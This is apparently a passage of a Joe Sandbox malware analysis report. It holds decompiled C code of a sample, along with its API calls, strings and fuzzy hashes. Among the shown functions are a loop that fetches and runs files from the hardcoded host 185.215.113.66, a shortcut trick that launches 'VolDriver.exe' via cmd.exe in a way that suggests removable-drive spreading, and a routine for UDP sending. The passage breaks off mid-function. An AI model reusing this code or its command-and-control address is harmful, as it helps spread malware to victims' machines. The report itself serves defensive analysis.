					if(RegOpenKeyExW( *(_t44 + _v24 * 4 - 8), L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, 0x20019,  &_v28) == 0) {
						_v32 = 0;
						_v36 = 4;
						if(RegQueryValueExW(_v28, L"NoDrives", 0, 0,  &_v32,  &_v36) == 0 && _v32 != 0) {
							_v16 = _v16 | _v32;
						}
						RegCloseKey(_v28);
					}
					_v24 = _v24 + 1;
				}
				return  !_v16 & _v20;
			}

0x00404cbc
0x00404cbf
0x00404cc6
0x00404ccd
0x00404cd4
0x00404ce6
0x00404d0c
0x00404d0e
0x00404d15
0x00404d39
0x00404d47
0x00404d47
0x00404d4e
0x00404d4e
0x00404ce3
0x00404ce3
0x00404d61

APIs

GetLogicalDrives.KERNEL32 ref: 00404CB6
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404D04
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
RegCloseKey.ADVAPI32(?), ref: 00404D4E

Strings

NoDrives, xrefs: 00404D28
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00404CF7

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction ID: 1183846ab50913c5dc9fb8b6007841b1b3d3e2f8f7d5b2678c7a8c905f18143c
Opcode Fuzzy Hash: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction Fuzzy Hash: 0E110DB0E4020A9BDF10CFD0D945BEEBB74FB48704F108019E611B7280D7B89645CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00404970 Relevance: 9.2, APIs: 6, Instructions: 177
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00404970(intOrPtr _a12, intOrPtr _a16) {
				signed int _v5;
				void* _v12;
				signed int _v13;
				signed int _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				long _v36;
				signed char _t76;
				void* _t79;
				intOrPtr _t87;
				intOrPtr _t88;
				signed char _t91;
				signed int _t141;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t169;

				_v5 = 0;
				EnterCriticalSection(0x416398);
				_t111 = _a12;
				_t76 = E0040B270(_a12, _a16);
				_t159 = _t158 + 8;
				if((_t76 & 0x000000ff) != 0) {
					_t79 = E0040B210(_t111, _a12);
					_t160 = _t159 + 4;
					_v12 = _t79;
					if(_v12 != 0) {
						_v5 = 1;
						_v13 = 0;
						_v20 = 0;
						while(1) {
							_t169 = _v20 -  *0x4163b4; // 0x0
							if(_t169 >= 0) {
								break;
							}
							_v24 = _v20 * 0x110 +  *0x4163b0;
							if( *((intOrPtr*)(_v24 + 4)) ==  *((intOrPtr*)(_v12 + 4))) {
								memcpy(_v24, _v12, 0x40 << 2);
								E00408C70( *((intOrPtr*)(_v24 + 0x108)));
								 *((intOrPtr*)(_v24 + 0x108)) = E00408CE0(_a12, _a16);
								 *((intOrPtr*)(_v24 + 0x10c)) = _a16;
								E00408C70( *((intOrPtr*)(_v24 + 0x100)));
								 *((intOrPtr*)(_v24 + 0x104)) = _a16 - 0x100;
								 *((intOrPtr*)(_v24 + 0x100)) = E0040AB80( *((intOrPtr*)(_v24 + 0x104)), _v24 + 0x14, 0x14, _a12 + 0x100,  *((intOrPtr*)(_v24 + 0x104)));
								_push( *((intOrPtr*)(_v24 + 8)));
								E00405C90( *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 4)),  *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 0x104)));
								_t160 = _t160 + 0x3c;
								_v13 = 1;
							} else {
								_v20 = _v20 + 1;
								continue;
							}
							break;
						}
						__eflags = _v13 & 0x000000ff;
						if((_v13 & 0x000000ff) == 0) {
							_t91 = E004044E0(_a16, _v12, _a12, _a16, 1);
							_t160 = _t160 + 0x10;
							__eflags = _t91 & 0x000000ff;
							if((_t91 & 0x000000ff) == 0) {
								 *0x4163b4 = 0;
								_v5 = 0;
							}
						}
						E00408C70(_v12);
						__eflags = _v5 & 0x000000ff;
						if((_v5 & 0x000000ff) != 0) {
							_v28 = CreateFileW(0x4165c8, 0x40000000, 0, 0, 2, 2, 0);
							__eflags = _v28 - 0xffffffff;
							if(_v28 != 0xffffffff) {
								_v32 = 0;
								while(1) {
									__eflags = _v32 -  *0x4163b4; // 0x0
									if(__eflags >= 0) {
										break;
									}
									_t87 =  *0x4163b0; // 0x0
									_t88 =  *0x4163b0; // 0x0
									WriteFile(_v28,  *(_t88 + 0x108 + _v32 * 0x110),  *(_t87 + 0x10c + _v32 * 0x110),  &_v36, 0);
									_t141 = _v32 + 1;
									__eflags = _t141;
									_v32 = _t141;
								}
								FlushFileBuffers(_v28);
								CloseHandle(_v28);
							}
						}
					}
				}
				LeaveCriticalSection(0x416398);
				return _v5;
			}

APIs

EnterCriticalSection.KERNEL32(00416398,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404981
CreateFileW.KERNEL32(004165C8,40000000,00000000,00000000,00000002,00000002,00000000,?,?,?,?,00000000,0040A547,006A0266), ref: 00404B30
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000,?,?,?,?,00000000), ref: 00404B92
FlushFileBuffers.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404B9E
CloseHandle.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404BA8
LeaveCriticalSection.KERNEL32(00416398,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404BB3

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWrite
String ID:
API String ID: 2945370292-0
Opcode ID: 1fef3702c3e63574ed35e0dfe7bc8173a088fc6aeaa4d3467fc2287270656826
Instruction ID: 17ab94b32ecbdd43ae5be3672dc601cffb9a037549fc2dffe68e9228f76f24ff
Opcode Fuzzy Hash: 1fef3702c3e63574ed35e0dfe7bc8173a088fc6aeaa4d3467fc2287270656826
Instruction Fuzzy Hash: 487182B5A00109ABCB04CF94D985FEFB7B5FB88304F148169EA05B7381C779E941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BBA0 Relevance: 9.1, APIs: 6, Instructions: 80
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BBA0(signed int* _a4, long _a8, _Unknown_base(*)()* _a12, void* _a16, DWORD* _a20, HANDLE* _a24) {
				long _v8;
				signed int* _v12;
				void* _v16;
				void* _t49;

				_v8 = 0;
				if(_a4 == 0) {
					L8:
					return _v8;
				}
				_v12 = _a4;
				EnterCriticalSection( &(_v12[1]));
				E0040BB20( &(_v12[1]), _v12);
				if(_a12 != 0) {
					_v12[7] = E00408B60(_v12[7], 4 +  *_v12 * 4, _v12[7], 4 +  *_v12 * 4);
					if(_v12[7] != 0) {
						_v16 = CreateThread(0, _a8, _a12, _a16, 0, _a20);
						if(_v16 != 0) {
							 *((intOrPtr*)(_v12[7] +  *_v12 * 4)) = _v16;
							 *_v12 =  *_v12 + 1;
							if(_a24 != 0) {
								_t49 = GetCurrentProcess();
								DuplicateHandle(GetCurrentProcess(), _v16, _t49, _a24, 0, 0, 2);
							}
							_v8 = 1;
						}
					}
				}
				LeaveCriticalSection( &(_v12[1]));
				goto L8;
			}

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4

Part of subcall function 0040BB20: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040BB60
Part of subcall function 0040BB20: CloseHandle.KERNEL32(?), ref: 0040BB79

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
DuplicateHandle.KERNEL32(00000000), ref: 0040BC6E
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction ID: 02f9ad1cbe3c42a1849ee7ac27792547e5d144dd11b2029950602c6e4363e771
Opcode Fuzzy Hash: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction Fuzzy Hash: 3E311074900208EFDB04DF94D899F9E7BB5FF48304F108159E905A7391D775AA91CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407980 Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407980(signed int _a4, signed int _a8) {

				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 | _a4;
				_a8 = _a8 | _a8;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x0000ffff | _a4 & 0xffff0000;
				_a8 = _a8 & 0x0000ffff | _a8 & 0xffff0000;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x00ff00ff | _a4 & 0xff00ff00;
				_a8 = _a8 & 0x00ff00ff | _a8 & 0xff00ff00;
				return _a4;
			}

0x0040798d
0x0040799e
0x004079a7
0x004079aa
0x004079c0
0x004079dc
0x004079e5
0x004079e8
0x004079fe
0x00407a1a
0x00407a23
0x00407a26
0x00407a32

APIs

_allshl.NTDLL ref: 0040798D
_aullshr.NTDLL ref: 0040799E
_allshl.NTDLL ref: 004079C0
_aullshr.NTDLL ref: 004079DC
_allshl.NTDLL ref: 004079FE
_aullshr.NTDLL ref: 00407A1A

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction ID: 2093b42955e45bd62e61740d1c7aadb5a606cc23c90c49e7bcc84aa687a307ef
Opcode Fuzzy Hash: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction Fuzzy Hash: 2C1121325005286B9B10EF5EC4826CABBD6EF84361B15C136FC2CDF359D634D9515BD4

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58
sleepCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00405CF0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed int _v172;
				signed char _t35;
				void* _t45;
				void* _t46;

				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v168 = 0x411130;
				_v164 = 0x411134;
				_v160 = 0x411138;
				_v156 = 0x41113c;
				_v152 = 0x411140;
				while(1) {
					Sleep(0x3e8);
					_v172 = 0;
					while(_v172 < 5) {
						Sleep(0x3e8);
						_push( *((intOrPtr*)(_t45 + _v172 * 4 - 0xa4)));
						_push("http://185.215.113.66/");
						wsprintfA( &_v148, "%s%s");
						_t35 = E0040D440( &_v148, _t45 + _v172 * 4 - 0x28);
						_t46 = _t46 + 0x18;
						if((_t35 & 0x000000ff) == 1) {
							E0040D4F0( &_v148, 0);
							_t46 = _t46 + 8;
						}
						_v172 = _v172 + 1;
					}
					Sleep(0xdbba0);
				}
			}

APIs

Sleep.KERNEL32(000003E8), ref: 00405D54
Sleep.KERNEL32(000003E8), ref: 00405D83
wsprintfA.USER32 ref: 00405DA8
Sleep.KERNEL32(000DBBA0), ref: 00405DEB

Strings

%s%s, xrefs: 00405D9C
http://185.215.113.66/, xrefs: 00405D97

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleep$wsprintf
String ID: %s%s$http://185.215.113.66/
API String ID: 3195947292-2646931437
Opcode ID: c2637b0e451e789f276395e354baee512bf947ab07dd5ce8b1a8847efd57730a
Instruction ID: 33448fd8f16b6151abdcaf40b6ca2b1b809edec1cb8df60be6306fd5b5127b81
Opcode Fuzzy Hash: c2637b0e451e789f276395e354baee512bf947ab07dd5ce8b1a8847efd57730a
Instruction Fuzzy Hash: 22213B70E00318AFCB50DF64DD45BDEBBB4AF09304F1080ABD24DB6281DB785A898F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBD0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106
networkCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040DBD0(int __eax, long _a4, void* _a8, intOrPtr _a12, short _a16) {
				short _v6;
				short _v10;
				short _v14;
				short _v18;
				short _v20;
				short _v22;
				int* _v24;
				char _v25;
				char _v29;
				int* _v52;
				char _v53;
				short _t30;
				short _t35;
				long _t38;
				int* _t45;
				intOrPtr* _t50;
				void* _t60;
				int _t64;
				long _t67;

				_t50 = _a4;
				_t64 = __eax;
				_t30 = 0;
				_v25 = 0;
				if(_t50 == 0 ||  *_t50 != 0x756470 || _a8 == 0 || __eax == 0) {
					L12:
					return _t30;
				} else {
					_t60 = __eax + 4;
					_t45 = E00408B20(_t60);
					_t6 =  &(_t45[1]); // 0x4
					_v24 = _t45;
					 *_t45 = _t64;
					memcpy(_t6, _a8, _t64);
					_v18 = 0;
					_v14 = 0;
					_v10 = 0;
					_v6 = 0;
					_t35 = _a16;
					_v20 = 2;
					__imp__#9(_t35);
					_v22 = _t35;
					_v20 = _a12;
					if(_t60 == 0) {
						L10:
						_v29 = 1;
						E00408C70(_t45);
						return _v29;
					} else {
						while(1) {
							_t38 = _a4;
							__imp__#20( *((intOrPtr*)(_t38 + 8)), _t45, _t60, 0,  &_v24, 0x10);
							_t67 = _t38;
							if(_t67 == 0xffffffff) {
								break;
							}
							InterlockedExchangeAdd(_a4 + 0x1c, _t67);
							_t60 = _t60 - _t67;
							_t45 = _t45 + _t67;
							if(_t60 != 0) {
								continue;
							} else {
								_v53 = 1;
								E00408C70(_v52);
								return _v53;
							}
							goto L13;
						}
						if(_t60 != 0) {
							E00408C70(_v52);
							_t30 = _v53;
							goto L12;
						} else {
							_t45 = _v52;
							goto L10;
						}
					}
				}
				L13:
			}

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 0040DC27
htons.WS2_32(?), ref: 0040DC50
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 0040DC78
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DC8D

Strings

pdu, xrefs: 0040DBEF

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 64e6edf90043f3ef5267befaaf6f5bc9513a580fe3cc4bc2b57856c41bc94de3
Instruction ID: 1900bc5e36bec968277d7fd378407ddad580e15f752f42e7870c86cf4b77d333
Opcode Fuzzy Hash: 64e6edf90043f3ef5267befaaf6f5bc9513a580fe3cc4bc2b57856c41bc94de3
Instruction Fuzzy Hash: 2F31E1766083009FD710DFA9D880A9BB7E4AF89714F04456EF99897382D674CD08CBEB

Uniqueness

Uniqueness Score: -1.00%

Function 00404D70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94
comCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404D70(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				short _v540;
				char* _t37;
				intOrPtr _t42;

				__imp__CoInitialize(0);
				_t37 =  &_v12;
				__imp__CoCreateInstance(0x410338, 0, 1, 0x410328, _t37);
				_v8 = _t37;
				if(_v8 >= 0 && _v12 != 0) {
					wsprintfW( &_v540, L"/c start .\\%s & start .\\%s\\VolDriver.exe", 0x415124, 0x415124);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x50))))(_v12, L"%windir%\\System32\\cmd.exe");
					_t42 =  *_v12;
					_t13 = _t42 + 0x44; // 0xffed0c85
					 *((intOrPtr*)( *_t13))(_v12, _a8, _a12);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x3c))))(_v12, 7);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x2c))))(_v12,  &_v540);
					_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_v12))))(_v12, 0x410348,  &_v16);
					if(_v8 >= 0 && _v16 != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x18))))(_v16, _a4, 1);
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
					}
					return  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
				}
				return _t37;
			}

APIs

CoInitialize.OLE32(00000000), ref: 00404D7B
CoCreateInstance.OLE32(00410338,00000000,00000001,00410328,?), ref: 00404D93
wsprintfW.USER32 ref: 00404DC6

Strings

%windir%\System32\cmd.exe, xrefs: 00404DCF
/c start .\%s & start .\%s\VolDriver.exe, xrefs: 00404DBA

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %windir%\System32\cmd.exe$/c start .\%s & start .\%s\VolDriver.exe
API String ID: 2038452267-2473591295
Opcode ID: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction ID: 2a49fd5d28e8ccd51fed007e1346deb4ba552c81a06522ba7ecdc7d03be8f695
Opcode Fuzzy Hash: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction Fuzzy Hash: 8B31B775A40208EFCB04DF98D885EDEB7B5FF88704F208199E615A72A0C674AE81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00409660 Relevance: 7.6, APIs: 5, Instructions: 74
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409660(void* __eax) {
				void* _v8;
				long _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				signed int _t36;
				void* _t38;
				signed int _t65;

				if( *0x416e2c == 0) {
					return __eax;
				}
				_t36 =  *0x416e2c; // 0x0
				_v12 = _t36 << 3;
				_t38 = E00408B20(_v12);
				_v8 = _t38;
				__eflags = _v8;
				if(_v8 != 0) {
					_v20 = 0;
					while(1) {
						__eflags = _v20 -  *0x416e2c; // 0x0
						if(__eflags >= 0) {
							break;
						}
						 *((intOrPtr*)(_v8 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 4));
						 *((intOrPtr*)(_v8 + 4 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 8));
						_t65 = _v20 + 1;
						__eflags = _t65;
						_v20 = _t65;
					}
					_v16 = CreateFileW(0x416be8, 0x40000000, 0, 0, 2, 2, 0);
					__eflags = _v16 - 0xffffffff;
					if(_v16 != 0xffffffff) {
						WriteFile(_v16, _v8, _v12,  &_v24, 0);
						FlushFileBuffers(_v16);
						CloseHandle(_v16);
					}
					InterlockedExchange(0x4143b4, 0x3d);
					return E00408C70(_v8);
				}
				return _t38;
			}

APIs

CreateFileW.KERNEL32(00416BE8,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004096F8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 00409719
FlushFileBuffers.KERNEL32(000000FF), ref: 00409723
CloseHandle.KERNEL32(000000FF), ref: 0040972D
InterlockedExchange.KERNEL32(004143B4,0000003D), ref: 0040973A

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID:
API String ID: 442028454-0
Opcode ID: ffe5f978a5d75daa98a19236d1bc63fd9fce486f64e544f4dc3e6b78cafa0eaa
Instruction ID: 09bb8ad8a153661e876b0a8aa7cfca9b830c2f60f8f6b2a0515d583d03b87c58
Opcode Fuzzy Hash: ffe5f978a5d75daa98a19236d1bc63fd9fce486f64e544f4dc3e6b78cafa0eaa
Instruction Fuzzy Hash: 11314CB8A00208EFCB14DF94D845F9EB7B1BB48300F20C669E515A7391C775AE51CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407570 Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00407570(signed int __edx, signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;

				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				_v12 = _a4 | _a8 | _a12 | _a16 | _a20 | _a24;
				_v8 = __edx | __edx | __edx | __edx | __edx | __edx;
				return _v12;
			}

0x0040757b
0x0040757e
0x0040758a
0x0040758d
0x00407599
0x0040759c
0x004075a8
0x004075ab
0x004075b7
0x004075ba
0x004075c6
0x004075cb
0x004075ce
0x004075dc

APIs

_allshl.NTDLL ref: 0040757E
_allshl.NTDLL ref: 0040758D
_allshl.NTDLL ref: 0040759C
_allshl.NTDLL ref: 004075AB
_allshl.NTDLL ref: 004075BA

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction ID: a1b14869e86cb328d4ae7b27d3c95eded15a07d37ad0fd28e3103b9823fe5a09
Opcode Fuzzy Hash: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction Fuzzy Hash: C4F03172901429AB9710EEEF84824CAFBE69F88364B118576FC18E3270E9709D1146F2

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD00(intOrPtr* __ebx, void* __edi) {
				void* _t8;
				intOrPtr* _t18;
				intOrPtr _t23;
				intOrPtr _t26;
				void* _t28;

				_t18 = __ebx;
				if(__ebx != 0 &&  *__ebx == 0x756470) {
					SetEvent( *(__ebx + 0x10));
					WaitForSingleObject( *(__ebx + 0x14), 0xffffffff);
					CloseHandle( *(__ebx + 0x14));
					_t26 =  *((intOrPtr*)(__ebx + 0x20));
					if(_t26 == 0) {
						L6:
						E00409600( *((intOrPtr*)(_t18 + 8)));
						return E00408C70(_t18);
					}
					do {
						E00408C70( *((intOrPtr*)(_t26 + 0x18)));
						_t23 =  *((intOrPtr*)(_t26 + 0x1c));
						E00408C70(_t26);
						_t28 = _t28 + 8;
						_t26 = _t23;
					} while (_t23 != 0);
					goto L6;
				}
				return _t8;
			}

APIs

SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
CloseHandle.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD27

Part of subcall function 00408C70: HeapFree.KERNEL32(00000000,00000000,00401192,?,00401192,?), ref: 00408CCB

Strings

pdu, xrefs: 0040DD04

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: ec457a0ef5b77bc146b0fe158738aa773204c9d46a9fd8b8c2a6535aafe8bc7d
Instruction ID: 47894c430adc079fffee70a5773b5e3dad97f275ab1eff5073097a11c037a3ac
Opcode Fuzzy Hash: ec457a0ef5b77bc146b0fe158738aa773204c9d46a9fd8b8c2a6535aafe8bc7d
Instruction Fuzzy Hash: 72F0C872804210ABCB20AFA5EC84D5777785F45320304466EFD4467396CA38DC45C7B8

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD0(WCHAR* _a4) {
				int _v8;
				short _v1052;
				intOrPtr _v1056;

				_v8 = GetDriveTypeW(_a4);
				_v1056 = _v8;
